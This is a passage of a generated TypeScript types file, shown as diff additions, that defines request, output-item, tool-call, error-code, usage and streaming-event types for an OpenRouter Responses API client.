(OutputItemCustomToolCall & { + type: 'custom_tool_call' + }) + | (OutputItemWebSearchCall & { + type: 'web_search_call' + }) + | (OutputItemFileSearchCall & { + type: 'file_search_call' + }) + | (OutputItemImageGenerationCall & { + type: 'image_generation_call' + }) + | (OutputItemApplyPatchCall & { + type: 'apply_patch_call' + }) + | (OutputItemCodeInterpreterCall & { + type: 'code_interpreter_call' + }) + | (OutputItemCompaction & { + type: 'compaction' + }) + | (OutputItemMcpListTools & { + type: 'mcp_list_tools' + }) + | (OutputItemMcpCall & { + type: 'mcp_call' + }) + | (OutputItemMcpApprovalRequest & { + type: 'mcp_approval_request' + }) +)[] + +export type AlignmentRejected = + | AlignmentChatRejected + | AlignmentResponsesRejected + +/** + * @example {"content":[{"text":"Hello, how are you?","type":"input_text"}],"id":"msg-abc123","role":"user","type":"message"} + * @type object + */ +export type OpenAIResponseInputMessageItem = { + content: ( + | (InputText & { + type: 'input_text' + }) + | (InputImage & { + type: 'input_image' + }) + | (InputFile & { + type: 'input_file' + }) + | (InputAudio & { + type: 'input_audio' + }) + )[] + id: string + role: 'user' | 'system' | 'developer' + type?: 'message' +} + +/** + * @example {"arguments":"{\"location\":\"San Francisco\"}","call_id":"call-abc123","id":"fc-abc123","name":"get_weather","status":"completed","type":"function_call"} + * @type object + */ +export type OpenAIResponseFunctionToolCall = { + arguments: string + /** + * @description True when the model called a tool declared with `async: true` and may continue its turn before the output is returned. Return the result in a later request as a `function_call_output` with this `call_id`. + * @example true + * @type boolean | undefined + */ + async?: boolean + call_id: string + id?: string + name: string + /** + * @description Namespace qualifier for tools registered as part of a namespace tool group (e.g. an MCP server) + * @type string | undefined + */ + namespace?: string + /** + * @example completed + * @type string | undefined + */ + status?: ToolCallStatusKey + /** + * @description EXPERIMENTAL — subject to change without notice. String id that matches the `call_id` of the `openrouter:subagent` server tool call that spawned the subagent. Present on every `function_call` item the subagent projects; absent on ordinary function calls. + * @type string | undefined + */ + subagent_id?: string + /** + * @description EXPERIMENTAL — subject to change without notice. The subagent's output items produced on this turn. Treat this as an opaque object; you must replay it in the request so that the subagent can continue execution of the tool with the same context. If a subagent created multiple parallel tool calls, only the first tool call will have this field. The other tool calls will only have `subagent_id`. Present only if the tool call originates from a subagent spawned by the `openrouter:subagent` server tool. + * @type array | undefined + */ + subagent_items?: { + type: string + [key: string]: unknown + }[] + type: 'function_call' +} + +/** + * @example {"call_id":"call-abc123","id":"ctc-abc123","input":"*** Begin Patch\n*** End Patch","name":"apply_patch","type":"custom_tool_call"} + * @type object + */ +export type OpenAIResponseCustomToolCall = { + /** + * @description True when the model called a tool declared with `async: true` and may continue its turn before the output is returned. Return the result in a later request as a `function_call_output` with this `call_id`. + * @example true + * @type boolean | undefined + */ + async?: boolean + call_id: string + id?: string + input: string + name: string + /** + * @description Namespace qualifier for tools registered as part of a namespace tool group (e.g. an MCP server) + * @type string | undefined + */ + namespace?: string + type: 'custom_tool_call' +} + +/** + * @example [{"content":"What is the weather today?","role":"user"}] + */ +export type BaseInputs = + | string + | ( + | { + content: + | ( + | (InputText & { + type: 'input_text' + }) + | (InputImage & { + type: 'input_image' + }) + | (InputFile & { + type: 'input_file' + }) + | (InputAudio & { + type: 'input_audio' + }) + )[] + | string + phase?: 'commentary' | 'final_answer' | null + role: 'user' | 'system' | 'assistant' | 'developer' + type?: 'message' + } + | OpenAIResponseInputMessageItem + | OpenAIResponseFunctionToolCallOutput + | OpenAIResponseFunctionToolCall + | OutputItemImageGenerationCall + | OutputMessage + | OpenAIResponseCustomToolCall + | OpenAIResponseCustomToolCallOutput + | ApplyPatchCallItem + | ApplyPatchCallOutputItem + | ConfigurationUpdateItem + )[] + | null + +export const responsesErrorFieldCodeEnum = { + server_error: 'server_error', + rate_limit_exceeded: 'rate_limit_exceeded', + invalid_prompt: 'invalid_prompt', + vector_store_timeout: 'vector_store_timeout', + invalid_image: 'invalid_image', + invalid_image_format: 'invalid_image_format', + invalid_base64_image: 'invalid_base64_image', + invalid_image_url: 'invalid_image_url', + image_too_large: 'image_too_large', + image_too_small: 'image_too_small', + image_parse_error: 'image_parse_error', + image_content_policy_violation: 'image_content_policy_violation', + invalid_image_mode: 'invalid_image_mode', + image_file_too_large: 'image_file_too_large', + unsupported_image_media_type: 'unsupported_image_media_type', + empty_image_file: 'empty_image_file', + failed_to_download_image: 'failed_to_download_image', + image_file_not_found: 'image_file_not_found', + bio_policy: 'bio_policy', + cyber_policy: 'cyber_policy', + misalignment_policy_violation: 'misalignment_policy_violation', + data_residency_mismatch: 'data_residency_mismatch', + permission_denied: 'permission_denied', +} as const + +export type ResponsesErrorFieldCodeEnumKey = + (typeof responsesErrorFieldCodeEnum)[keyof typeof responsesErrorFieldCodeEnum] + +/** + * @description Error information returned from the API + * @example {"code":"rate_limit_exceeded","message":"Rate limit exceeded. Please try again later."} + * @type object + */ +export type ResponsesErrorField = { + code: ResponsesErrorFieldCodeEnumKey + message: string +} | null + +export const incompleteDetailsReasonEnum = { + max_output_tokens: 'max_output_tokens', + content_filter: 'content_filter', +} as const + +export type IncompleteDetailsReasonEnumKey = + (typeof incompleteDetailsReasonEnum)[keyof typeof incompleteDetailsReasonEnum] + +/** + * @example {"reason":"max_output_tokens"} + * @type object + */ +export type IncompleteDetails = { + reason?: IncompleteDetailsReasonEnumKey +} | null + +export const serviceTier = { + auto: 'auto', + default: 'default', + flex: 'flex', + priority: 'priority', + scale: 'scale', + ultrafast: 'ultrafast', +} as const + +export type ServiceTierKey = (typeof serviceTier)[keyof typeof serviceTier] + +export const openAIResponsesResponseStatus = { + completed: 'completed', + incomplete: 'incomplete', + in_progress: 'in_progress', + failed: 'failed', + cancelled: 'cancelled', + queued: 'queued', +} as const + +export type OpenAIResponsesResponseStatusKey = + (typeof openAIResponsesResponseStatus)[keyof typeof openAIResponsesResponseStatus] + +export const truncation = { + auto: 'auto', + disabled: 'disabled', +} as const + +export type TruncationKey = (typeof truncation)[keyof typeof truncation] + +/** + * @example {"input_tokens":100,"input_tokens_details":{"cached_tokens":0},"output_tokens":50,"output_tokens_details":{"reasoning_tokens":0},"total_tokens":150} + * @type object + */ +export type OpenAIResponsesUsage = { + input_tokens: number + input_tokens_details: { + cache_write_tokens?: number | null + cached_tokens: number + } + output_tokens: number + output_tokens_details: { + reasoning_tokens: number + } + total_tokens: number +} + +export const baseResponsesResultToolsAllowedCallersEnum = { + direct: 'direct', + programmatic: 'programmatic', +} as const + +export type BaseResponsesResultToolsAllowedCallersEnumKey = + (typeof baseResponsesResultToolsAllowedCallersEnum)[keyof typeof baseResponsesResultToolsAllowedCallersEnum] + +/** + * @example {"completed_at":1704067210,"created_at":1704067200,"error":null,"frequency_penalty":null,"id":"resp-abc123","incomplete_details":null,"instructions":null,"max_output_tokens":null,"metadata":null,"model":"gpt-4","object":"response","output":[],"parallel_tool_calls":true,"presence_penalty":null,"status":"completed","temperature":null,"tool_choice":"auto","tools":[],"top_p":null} + * @type object + */ +export type BaseResponsesResult = { + background?: boolean | null + completed_at: number | null + created_at: number + /** + * @description Error information returned from the API + * @example {"code":"rate_limit_exceeded","message":"Rate limit exceeded. Please try again later."} + * @type object + */ + error: ResponsesErrorField | null + /** + * @description + * Format: `double` + * @type number + */ + frequency_penalty: number | null + id: string + /** + * @example {"reason":"max_output_tokens"} + * @type object + */ + incomplete_details: IncompleteDetails | null + /** + * @example [{"content":"What is the weather today?","role":"user"}] + */ + instructions: BaseInputs | null + max_output_tokens?: number | null + max_tool_calls?: number | null + /** + * @description Metadata key-value pairs for the request. Keys must be ≤64 characters and cannot contain brackets. Values must be ≤512 characters. Maximum 16 pairs allowed. + * @example {"session_id":"abc-def-ghi","user_id":"123"} + * @type object + */ + metadata: RequestMetadata | null + model: string + object: 'response' + output: ( + | (OutputMessage & { + type: 'message' + }) + | (OutputItemReasoning & { + type: 'reasoning' + }) + | (OutputItemFunctionCall & { + type: 'function_call' + }) + | (OutputItemCustomToolCall & { + type: 'custom_tool_call' + }) + | (OutputItemWebSearchCall & { + type: 'web_search_call' + }) + | (OutputItemFileSearchCall & { + type: 'file_search_call' + }) + | (OutputItemImageGenerationCall & { + type: 'image_generation_call' + }) + | (OutputItemApplyPatchCall & { + type: 'apply_patch_call' + }) + | (OutputItemCodeInterpreterCall & { + type: 'code_interpreter_call' + }) + | (OutputItemCompaction & { + type: 'compaction' + }) + | (OutputItemMcpListTools & { + type: 'mcp_list_tools' + }) + | (OutputItemMcpCall & { + type: 'mcp_call' + }) + | (OutputItemMcpApprovalRequest & { + type: 'mcp_approval_request' + }) + )[] + output_text?: string + parallel_tool_calls: boolean + /** + * @description + * Format: `double` + * @type number + */ + presence_penalty: number | null + previous_response_id?: string | null + /** + * @example {"id":"prompt-abc123","variables":{"name":"John"}} + * @type object | undefined + */ + prompt?: StoredPromptTemplate | null + prompt_cache_key?: string | null + /** + * @description Request-level prompt-cache controls. `mode: "explicit"` disables OpenAI-managed breakpoints so only blocks marked with `prompt_cache_breakpoint` are cached. `ttl` sets the minimum cache lifetime for every breakpoint the request writes: "30m" (default) or "12h" (billed at the higher 12h cache-write rate). Only supported by OpenAI GPT-5.6 and newer. + * @example {"mode":"explicit","ttl":"30m"} + * @type object | undefined + */ + prompt_cache_options?: PromptCacheOptions | null + /** + * @example {"effort":"medium","summary":"auto"} + * @type object | undefined + */ + reasoning?: BaseReasoningConfig | null + safety_identifier?: string | null + /** + * @example default + * @type string | undefined + */ + service_tier?: ServiceTierKey | null + /** + * @example completed + * @type string + */ + status: OpenAIResponsesResponseStatusKey + store?: boolean + /** + * @description + * Format: `double` + * @type number + */ + temperature: number | null + /** + * @description Text output configuration including format and verbosity + * @example {"format":{"type":"text"},"verbosity":"medium"} + * @type object | undefined + */ + text?: TextConfig | null + /** + * @example auto + */ + tool_choice: OpenAIResponsesToolChoice + tools: ( + | (FunctionTool & { + allowed_callers?: BaseResponsesResultToolsAllowedCallersEnumKey[] | null + /** + * @description Lets the model keep working after calling this tool instead of waiting for its output. The tool is still executed by the client; return the result in a later request as a `function_call_output` with the original `call_id`. Only honored by providers whose Responses API supports async tools; ignored elsewhere. + * @example true + * @type boolean | undefined + */ + async?: boolean + /** + * @description Withhold this tool from the model until `openrouter:tool_search` finds it. Where the request declares no search tool, OpenRouter may add `openrouter:tool_search` to serve the flag, and otherwise sends the tool in full. A request that declares the search tool itself must keep at least one tool non-deferred. + * @example true + * @type boolean | undefined + */ + defer_loading?: boolean + output_schema?: { + [key: string]: unknown + } | null + }) + | PreviewWebSearchServerTool + | Preview20250311WebSearchServerTool + | LegacyWebSearchServerTool + | WebSearchServerTool + | FileSearchServerTool + | ComputerUseServerTool + | CodeInterpreterServerTool + | McpServerTool + | ImageGenerationServerTool + | CodexLocalShellTool + | ShellServerTool + | ApplyPatchServerTool + | CustomTool + | NamespaceTool + )[] + top_logprobs?: number | null + /** + * @description + * Format: `double` + * @type number + */ + top_p: number | null + /** + * @example auto + * @type string | undefined + */ + truncation?: TruncationKey | null + /** + * @example {"input_tokens":100,"input_tokens_details":{"cached_tokens":0},"output_tokens":50,"output_tokens_details":{"reasoning_tokens":0},"total_tokens":150} + * @type object | undefined + */ + usage?: OpenAIResponsesUsage + user?: string | null +} + +/** + * @description OpenRouter-specific details of a failed response, such as the alignment object of an alignment error. + * @example {"alignment":{"calls":[{"call":1,"outcome":"unavailable","reason":"evaluator_error"}]}} + * @type object + */ +export type OpenResponsesErrorMetadata = { + /** + * @description Beta. The result of the alignment plugin for this request; the shape may change. + * @example {"calls":[{"call":1,"outcome":"allowed","rules":[{"applicable":true,"broken":false,"probability":0.04}]}]} + */ + alignment?: Alignment & { + rejected?: AlignmentRejected + } +} + +export const openResponsesErrorFieldCodeEnum = { + server_error: 'server_error', + rate_limit_exceeded: 'rate_limit_exceeded', + invalid_prompt: 'invalid_prompt', + vector_store_timeout: 'vector_store_timeout', + invalid_image: 'invalid_image', + invalid_image_format: 'invalid_image_format', + invalid_base64_image: 'invalid_base64_image', + invalid_image_url: 'invalid_image_url', + image_too_large: 'image_too_large', + image_too_small: 'image_too_small', + image_parse_error: 'image_parse_error', + image_content_policy_violation: 'image_content_policy_violation', + invalid_image_mode: 'invalid_image_mode', + image_file_too_large: 'image_file_too_large', + unsupported_image_media_type: 'unsupported_image_media_type', + empty_image_file: 'empty_image_file', + failed_to_download_image: 'failed_to_download_image', + image_file_not_found: 'image_file_not_found', + bio_policy: 'bio_policy', + cyber_policy: 'cyber_policy', + misalignment_policy_violation: 'misalignment_policy_violation', + data_residency_mismatch: 'data_residency_mismatch', + permission_denied: 'permission_denied', +} as const + +export type OpenResponsesErrorFieldCodeEnumKey = + (typeof openResponsesErrorFieldCodeEnum)[keyof typeof openResponsesErrorFieldCodeEnum] + +/** + * @description Error of a failed response; `metadata` carries OpenRouter-specific details. + * @example {"code":"server_error","message":"Alignment plugin: the reply could not be evaluated: evaluator_error","metadata":{"alignment":{"calls":[{"call":1,"outcome":"unavailable","reason":"evaluator_error"}]}}} + * @type object + */ +export type OpenResponsesErrorField = { + code: OpenResponsesErrorFieldCodeEnumKey + message: string + /** + * @description OpenRouter-specific details of a failed response, such as the alignment object of an alignment error. + * @example {"alignment":{"calls":[{"call":1,"outcome":"unavailable","reason":"evaluator_error"}]}} + * @type object | undefined + */ + metadata?: OpenResponsesErrorMetadata +} | null + +/** + * @description A native `apply_patch_call` output item matching OpenAI's Responses API shape. Emitted when the client requested the `apply_patch` shorthand. + * @example {"call_id":"call_abc123","id":"apc_abc123","operation":{"diff":"@@ function main() {\n+ console.log(\"hi\");\n }","path":"/src/main.ts","type":"update_file"},"status":"completed","type":"apply_patch_call"} + * @type object + */ +export type OutputApplyPatchCallItem = { + call_id: string + id: string + /** + * @description The patch operation requested by an `apply_patch_call`. `create_file` and `update_file` carry a V4A diff; `delete_file` omits it. + * @example {"diff":"@@ function main() {\n+ console.log(\"hi\");\n }","path":"/src/main.ts","type":"update_file"} + */ + operation: ApplyPatchCallOperation + /** + * @description Lifecycle state of an `apply_patch_call` output item. + * @example completed + * @type string + */ + status: ApplyPatchCallStatusKey + type: 'apply_patch_call' +} + +/** + * @description A compaction output item carrying the encrypted summary of the compacted conversation. Emitted in reply to a `compaction_trigger` input item. + * @example {"encrypted_content":"enc_abc123...","id":"cmp_abc123","type":"compaction"} + * @type object + */ +export type OutputCompactionItem = { + created_by?: string + encrypted_content: string + id: string + type: 'compaction' +} + +export const outputCustomToolCallItemStatusEnum = { + in_progress: 'in_progress', + completed: 'completed', + incomplete: 'incomplete', +} as const + +export type OutputCustomToolCallItemStatusEnumKey = + (typeof outputCustomToolCallItemStatusEnum)[keyof typeof outputCustomToolCallItemStatusEnum] + +/** + * @description A call to a custom (freeform-grammar) tool created by the model — distinct from `function_call`. Used for tools like Codex CLI's `apply_patch` whose payload is opaque text rather than JSON arguments. + * @example {"call_id":"call-abc123","id":"ctc-abc123","input":"*** Begin Patch\n*** End Patch","name":"apply_patch","status":"completed","type":"custom_tool_call"} + * @type object + */ +export type OutputCustomToolCallItem = { + /** + * @description True when the model called a tool declared with `async: true` and may continue its turn before the output is returned. Return the result in a later request as a `function_call_output` with this `call_id`. + * @example true + * @type boolean | undefined + */ + async?: boolean + call_id: string + id?: string + input: string + name: string + /** + * @description Namespace qualifier for tools registered as part of a namespace tool group (e.g. an MCP server) + * @type string | undefined + */ + namespace?: string + status?: OutputCustomToolCallItemStatusEnumKey + type: 'custom_tool_call' +} + +/** + * @example {"arguments":"{\"location\":\"San Francisco\"}","call_id":"call-abc123","id":"fc-abc123","name":"get_weather","status":"completed","type":"function_call"} + */ +export type OutputFunctionCallItem = OutputItemFunctionCall & { + /** + * @description EXPERIMENTAL — subject to change without notice. String id that matches the `call_id` of the `openrouter:subagent` server tool call that spawned the subagent. Present on every `function_call` item the subagent projects; absent on ordinary function calls. + * @type string | undefined + */ + subagent_id?: string + /** + * @description EXPERIMENTAL — subject to change without notice. The subagent's output items produced on this turn. Treat this as an opaque object; you must replay it in the request so that the subagent can continue execution of the tool with the same context. If a subagent created multiple parallel tool calls, only the first tool call will have this field. The other tool calls will only have `subagent_id`. Present only if the tool call originates from a subagent spawned by the `openrouter:subagent` server tool. + * @type array | undefined + */ + subagent_items?: { + type: string + [key: string]: unknown + }[] +} + +export const shellCallStatus = { + in_progress: 'in_progress', + completed: 'completed', + incomplete: 'incomplete', +} as const + +export type ShellCallStatusKey = + (typeof shellCallStatus)[keyof typeof shellCallStatus] + +/** + * @description A native `shell_call` output item matching OpenAI's Responses API shape. Emitted for the sandbox-backed `shell` tool. + * @example {"action":{"commands":["echo hello"],"max_output_length":null,"timeout_ms":null},"call_id":"call_abc123","id":"shc_abc123","status":"completed","type":"shell_call"} + * @type object + */ +export type OutputShellCallItem = { + action?: { + commands: string[] + max_output_length: number | null + timeout_ms: number | null + } + /** + * @description The raw tool-call arguments string as emitted by the model. Echo back unchanged when replaying history; used verbatim to preserve provider prompt-cache prefixes. + * @type string | undefined + */ + arguments?: string | null + call_id: string + id: string + /** + * @description Status of a shell call or its output. + * @example completed + * @type string + */ + status: ShellCallStatusKey + type: 'shell_call' +} + +/** + * @description A native `shell_call_output` item matching OpenAI's Responses API shape. Carries per-command stdout, stderr, and the exit/timeout outcome. A sandbox failure terminates the item as `incomplete` with `error` set. + * @example {"call_id":"call_abc123","id":"sho_abc123","output":[{"outcome":{"exit_code":0,"type":"exit"},"stderr":"","stdout":"hello\n"}],"status":"completed","type":"shell_call_output"} + * @type object + */ +export type OutputShellCallOutputItem = { + call_id: string + /** + * @description The canonical container id the command ran under — the `{container_id}` for the Container Files API, reusable as a `container_reference` in later requests. Present on every sandbox-executed call, even when no files changed. + * @type string | undefined + */ + container_id?: string + /** + * @description The error message when the sandbox call failed before producing a result (for example, the per-user container limit was reached). Set together with `status: 'incomplete'` and an empty `output`; absent on a successful call. + * @type string | undefined + */ + error?: string + /** + * @description Citations for the files the sandbox command created or modified, most-recently-touched first (at most 10). Retrieve them via the Container Files API. + * @type array | undefined + */ + files?: { + container_id: string + end_index: number + file_id: string + filename: string + start_index: number + type: 'container_file_citation' + }[] + id: string + max_output_length?: number | null + output: ShellCallOutputContent[] + /** + * @description Status of a shell call or its output. + * @example completed + * @type string + */ + status: ShellCallStatusKey + type: 'shell_call_output' +} + +/** + * @description A call the model made to a `tool_search` tool declared with `"execution": "client"`. The client runs the search and replays this item with a `tool_search_output` item. + * @example {"arguments":{"query":"weather"},"call_id":"call-abc123","execution":"client","id":"tsc-abc123","status":"completed","type":"tool_search_call"} + * @type object + */ +export type OutputToolSearchCallItem = { + arguments?: unknown + call_id: string + execution: 'client' + id?: string + /** + * @example completed + * @type string + */ + status: ToolCallStatusKey + type: 'tool_search_call' +} + +/** + * @description An output item from the response + * @example {"content":[{"text":"Hello! How can I help you today?","type":"output_text"}],"id":"msg-abc123","role":"assistant","status":"completed","type":"message"} + */ +export type OutputItems = + | (OutputMessageItem & { + type: 'message' + }) + | (OutputReasoningItem & { + type: 'reasoning' + }) + | (OutputFunctionCallItem & { + type: 'function_call' + }) + | (OutputWebSearchCallItem & { + type: 'web_search_call' + }) + | (OutputFileSearchCallItem & { + type: 'file_search_call' + }) + | (OutputImageGenerationCallItem & { + type: 'image_generation_call' + }) + | (OutputCodeInterpreterCallItem & { + type: 'code_interpreter_call' + }) + | (OutputComputerCallItem & { + type: 'computer_call' + }) + | (OutputDatetimeItem & { + type: 'openrouter:datetime' + }) + | (OutputWebSearchServerToolItem & { + type: 'openrouter:web_search' + }) + | (OutputCodeInterpreterServerToolItem & { + type: 'openrouter:code_interpreter' + }) + | (OutputFileSearchServerToolItem & { + type: 'openrouter:file_search' + }) + | (OutputImageGenerationServerToolItem & { + type: 'openrouter:image_generation' + }) + | (OutputBrowserUseServerToolItem & { + type: 'openrouter:browser_use' + }) + | (OutputBashServerToolItem & { + type: 'openrouter:bash' + }) + | (OutputTextEditorServerToolItem & { + type: 'openrouter:text_editor' + }) + | (OutputApplyPatchServerToolItem & { + type: 'openrouter:apply_patch' + }) + | (OutputApplyPatchCallItem & { + type: 'apply_patch_call' + }) + | (OutputCompactionItem & { + type: 'compaction' + }) + | (OutputShellCallItem & { + type: 'shell_call' + }) + | (OutputShellCallOutputItem & { + type: 'shell_call_output' + }) + | (OutputShellServerToolItem & { + type: 'openrouter:shell' + }) + | (OutputWebFetchServerToolItem & { + type: 'openrouter:web_fetch' + }) + | (OutputToolSearchServerToolItem & { + type: 'openrouter:tool_search' + }) + | (OutputMemoryServerToolItem & { + type: 'openrouter:memory' + }) + | (McpListToolsItem & { + type: 'mcp_list_tools' + }) + | (McpCallItem & { + type: 'mcp_call' + }) + | (McpApprovalRequestItem & { + type: 'mcp_approval_request' + }) + | (OutputSearchModelsServerToolItem & { + type: 'openrouter:experimental__search_models' + }) + | (OutputFusionServerToolItem & { + type: 'openrouter:fusion' + }) + | (OutputAdvisorServerToolItem & { + type: 'openrouter:advisor' + }) + | (OutputSubagentServerToolItem & { + type: 'openrouter:subagent' + }) + | (OutputFilesServerToolItem & { + type: 'openrouter:files' + }) + | (OutputCustomToolCallItem & { + type: 'custom_tool_call' + }) + | (OutputToolSearchCallItem & { + type: 'tool_search_call' + }) + | (OutputArmorBlockedItem & { + type: 'openrouter:armor_blocked' + }) + +/** + * @description Token usage information for the response + * @example {"cost":0.0012,"cost_details":{"upstream_inference_cost":null,"upstream_inference_input_cost":0.0008,"upstream_inference_output_cost":0.0004},"input_tokens":10,"input_tokens_details":{"cached_tokens":0},"output_tokens":25,"output_tokens_details":{"reasoning_tokens":0},"total_tokens":35} + */ +export type Usage = + | (OpenAIResponsesUsage & { + /** + * @description Cost of the completion + * + * Format: `double` + * @type number | undefined + */ + cost?: number | null + cost_details?: { + /** + * @description Metered server-tool execution cost (for example, shell sandbox time) billed for this request, in USD. Matches the billed checkpoint and settlement amounts exactly. 0 when a metered server tool ran but settled at zero dollars; absent when no metered server tool ran. + * + * Format: `double` + * @type number | undefined + */ + server_tool_cost?: number | null + /** + * @description + * Format: `double` + * @type number | undefined + */ + upstream_inference_cost?: number | null + /** + * @description + * Format: `double` + * @type number + */ + upstream_inference_input_cost: number + /** + * @description + * Format: `double` + * @type number + */ + upstream_inference_output_cost: number + } + /** + * @description Totals across every upstream model call of a deferred-tools run. The native usage fields report only the final call; cost covers every call. + * @example {"completion_tokens":180,"prompt_tokens":2400,"total_tokens":2580,"turns":2} + * @type object | undefined + */ + deferred_tools_details?: DeferredToolsDetails + /** + * @description Whether a request was made using a Bring Your Own Key configuration + * @type boolean | undefined + */ + is_byok?: boolean + /** + * @description Usage for server-side tool execution (e.g., web search) + * @example {"tool_calls_executed":2,"tool_calls_requested":2,"web_search_requests":2} + * @type object | undefined + */ + server_tool_use_details?: ServerToolUseDetails | null + }) + | null + +/** + * @description Event emitted when a text annotation is added to output + * @example {"annotation":{"end_index":7,"start_index":0,"title":"Example","type":"url_citation","url":"https://example.com"},"annotation_index":0,"content_index":0,"item_id":"item-1","output_index":0,"sequence_number":5,"type":"response.output_text.annotation.added"} + * @type object + */ +export type BaseAnnotationAddedEvent = { + /** + * @example {"file_id":"file-abc123","filename":"research_paper.pdf","index":0,"type":"file_citation"} + */ + annotation: OpenAIResponsesAnnotation + annotation_index: number + content_index: number + item_id: string + output_index: number + sequence_number: number + type: 'response.output_text.annotation.added' +} + +/** + * @description Event emitted when a text annotation is added to output + * @example {"annotation":{"end_index":7,"start_index":0,"title":"Example","type":"url_citation","url":"https://example.com"},"annotation_index":0,"content_index":0,"item_id":"item-1","output_index":0,"sequence_number":5,"type":"response.output_text.annotation.added"} + */ +export type AnnotationAddedEvent = BaseAnnotationAddedEvent & object + +/** + * @description Incremental chunk of `operation.diff` for an `apply_patch_call`. Matches OpenAI's streaming shape. + * @example {"delta":"+console.log(\"hi\");\n","item_id":"apc_abc123","output_index":0,"sequence_number":5,"type":"response.apply_patch_call_operation_diff.delta"} + * @type object + */ +export type ApplyPatchCallOperationDiffDeltaEvent = { + delta: string + item_id: string + output_index: number + sequence_number: number + type: 'response.apply_patch_call_operation_diff.delta' +} + +/** + * @description Emitted when `operation.diff` streaming completes for an `apply_patch_call`. + * @example {"diff":"@@\n+console.log(\"hi\");\n","item_id":"apc_abc123","output_index":0,"sequence_number":12,"type":"response.apply_patch_call_operation_diff.done"} + * @type object + */ +export type ApplyPatchCallOperationDiffDoneEvent = { + diff: string + item_id: string + output_index: number + sequence_number: number + type: 'response.apply_patch_call_operation_diff.done' +} + +/** + * @description Event emitted when a new content part is added to an output item + * @example {"content_index":0,"item_id":"item-1","output_index":0,"part":{"annotations":[],"text":"","type":"output_text"},"sequence_number":3,"type":"response.content_part.added"} + * @type object + */ +export type BaseContentPartAddedEvent = { + content_index: number + item_id: string + output_index: number + part: ResponseOutputText | OpenAIResponsesRefusalContent + sequence_number: number + type: 'response.content_part.added' +} + +/** + * @description Event emitted when a content part is complete + * @example {"content_index":0,"item_id":"item-1","output_index":0,"part":{"annotations":[],"text":"Hello! How can I help you?","type":"output_text"},"sequence_number":7,"type":"response.content_part.done"} + * @type object + */ +export type BaseContentPartDoneEvent = { + content_index: number + item_id: string + output_index: number + part: ResponseOutputText | OpenAIResponsesRefusalContent + sequence_number: number + type: 'response.content_part.done' +} + +/** + * @description Event emitted when a custom tool call's freeform input is being streamed. Mirrors `response.function_call_arguments.delta` but for `custom` tools whose input is opaque text rather than JSON arguments. + * @example {"delta":"*** Begin Patch","item_id":"item-1","output_index":0,"sequence_number":4,"type":"response.custom_tool_call_input.delta"} + * @type object + */ +export type BaseCustomToolCallInputDeltaEvent = { + delta: string + item_id: string + output_index: number + sequence_number: number + type: 'response.custom_tool_call_input.delta' +} + +/** + * @description Event emitted when a custom tool call's freeform input streaming is complete. Mirrors `response.function_call_arguments.done` but for `custom` tools. + * @example {"input":"*** Begin Patch\n*** End Patch","item_id":"item-1","output_index":0,"sequence_number":6,"type":"response.custom_tool_call_input.done"} + * @type object + */ +export type BaseCustomToolCallInputDoneEvent = { + input: string + item_id: string + output_index: number + sequence_number: number + type: 'response.custom_tool_call_input.done' +} + +/** + * @description Event emitted when an error occurs during streaming + * @example {"code":"rate_limit_exceeded","message":"Rate limit exceeded. Please try again later.","param":null,"sequence_number":2,"type":"error"} + * @type object + */ +export type BaseErrorEvent = { + code: string | null + message: string + param: string | null + sequence_number: number + type: 'error' +} + +/** + * @description Event emitted when function call arguments are being streamed + * @example {"delta":"{\"city\": \"...\"}","item_id":"item-1","output_index":0,"sequence_number":4,"type":"response.function_call_arguments.delta"} + * @type object + */ +export type BaseFunctionCallArgsDeltaEvent = { + delta: string + item_id: string + output_index: number + sequence_number: number + type: 'response.function_call_arguments.delta' +} + +/** + * @description Event emitted when function call arguments streaming is complete + * @example {"arguments":"{\"city\": \"San Francisco\", \"units\": \"celsius\"}","item_id":"item-1","name":"get_weather","output_index":0,"sequence_number":6,"type":"response.function_call_arguments.done"} + * @type object + */ +export type BaseFunctionCallArgsDoneEvent = { + arguments: string + item_id: string + name: string + output_index: number + sequence_number: number + type: 'response.function_call_arguments.done' +} + +/** + * @description Event emitted when reasoning text delta is streamed + * @example {"content_index":0,"delta":"First, we need","item_id":"item-1","output_index":0,"sequence_number":4,"type":"response.reasoning_text.delta"} + * @type object + */ +export type BaseReasoningDeltaEvent = { + content_index: number + delta: string + item_id: string + output_index: number + sequence_number: number + type: 'response.reasoning_text.delta' +} + +/** + * @description Event emitted when reasoning text streaming is complete + * @example {"content_index":0,"item_id":"item-1","output_index":0,"sequence_number":6,"text":"First, we need to identify the key components and then combine them logically.","type":"response.reasoning_text.done"} + * @type object + */ +export type BaseReasoningDoneEvent = { + content_index: number + item_id: string + output_index: number + sequence_number: number + text: string + type: 'response.reasoning_text.done' +} + +/** + * @description Event emitted when a reasoning summary part is added + * @example {"item_id":"item-1","output_index":0,"part":{"text":"","type":"summary_text"},"sequence_number":3,"summary_index":0,"type":"response.reasoning_summary_part.added"} + * @type object + */ +export type BaseReasoningSummaryPartAddedEvent = { + item_id: string + output_index: number + /** + * @example {"text":"Analyzed the problem using first principles","type":"summary_text"} + * @type object + */ + part: ReasoningSummaryText + sequence_number: number + summary_index: number + type: 'response.reasoning_summary_part.added' +} + +/** + * @description Event emitted when a reasoning summary part is complete + * @example {"item_id":"item-1","output_index":0,"part":{"text":"Analyzing the problem step by step to find the optimal solution.","type":"summary_text"},"sequence_number":7,"summary_index":0,"type":"response.reasoning_summary_part.done"} + * @type object + */ +export type BaseReasoningSummaryPartDoneEvent = { + item_id: string + output_index: number + /** + * @example {"text":"Analyzed the problem using first principles","type":"summary_text"} + * @type object + */ + part: ReasoningSummaryText + sequence_number: number + summary_index: number + type: 'response.reasoning_summary_part.done' +} + +/** + * @description Event emitted when reasoning summary text delta is streamed + * @example {"delta":"Analyzing","item_id":"item-1","output_index":0,"sequence_number":4,"summary_index":0,"type":"response.reasoning_summary_text.delta"} + * @type object + */ +export type BaseReasoningSummaryTextDeltaEvent = { + delta: string + item_id: string + output_index: number + sequence_number: number + summary_index: number + type: 'response.reasoning_summary_text.delta' +} + +/** + * @description Event emitted when reasoning summary text streaming is complete + * @example {"item_id":"item-1","output_index":0,"sequence_number":6,"summary_index":0,"text":"Analyzing the problem step by step to find the optimal solution.","type":"response.reasoning_summary_text.done"} + * @type object + */ +export type BaseReasoningSummaryTextDoneEvent = { + item_id: string + output_index: number + sequence_number: number + summary_index: number + text: string + type: 'response.reasoning_summary_text.done' +} + +/** + * @description Event emitted when a refusal delta is streamed + * @example {"content_index":0,"delta":"I'm sorry","item_id":"item-1","output_index":0,"sequence_number":4,"type":"response.refusal.delta"} + * @type object + */ +export type BaseRefusalDeltaEvent = { + content_index: number + delta: string + item_id: string + output_index: number + 